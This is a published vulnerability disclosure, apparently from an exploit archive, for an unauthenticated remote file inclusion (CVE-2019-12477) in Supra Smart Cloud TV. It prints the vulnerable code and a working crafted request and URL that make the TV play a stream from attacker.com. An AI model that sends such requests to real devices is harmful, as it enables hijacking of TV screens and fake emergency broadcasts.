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Supra Smart Cloud TV Remote File Inclusion

Supra Smart Cloud TV Remote File Inclusion
Posted Jun 6, 2019
Authored by Dhiraj Mishra

Supra Smart Cloud TV suffers from an openLiveURL() remote file inclusion vulnerability.

tags | exploit, remote, code execution, file inclusion
advisories | CVE-2019-12477
SHA-256 | 36d9b0b5cd1b087e4e8ad3e10950200b370a681e06ac888c6f0a7087cf752c68

Supra Smart Cloud TV Remote File Inclusion

Change Mirror Download
# Exploit Title: Remote file inclusion
# Date: 03-06-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://supra.ru
# Software Link: https://supra.ru/catalog/televizory/televizor_supra_stv_lc40lt0020f/
# CVE: CVE-2019-12477
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12477
# https://www.inputzero.io/2019/06/hacking-smart-tv.html

Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL
function, which allows a local attacker to broadcast fake video without any
authentication via a /remote/media_control?action=setUri&uri=URI

Technical Observation:
We are abusing `openLiveURL()` which allows a local attacker to broadcast
video on supra smart cloud TV. I found this vulnerability initially by
source code review and then by crawling the application and reading every
request helped me to trigger this vulnerability.

Vulnerable code:

function openLiveTV(url)
{
$.get("/remote/media_control",
{m_action:'setUri',m_uri:url,m_type:'video/*'},
function (data, textStatus){
if("success"==textStatus){
alert(textStatus);
}else
{
alert(textStatus);
}
});
}

Vulnerable request:

GET /remote/media_control?action=setUri&uri=
http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
Host: 192.168.1.155
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

To trigger the vulnerability you can send a crafted request to the URL,

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

Although the above mention URL takes (.m3u8) format based video. We can use
`curl -v -X GET` to send such request, typically this is an unauth remote
file inclusion. An attacker could broadcast any video without any
authentication, the worst case attacker could leverage this vulnerability
to broadcast a fake emergency message.
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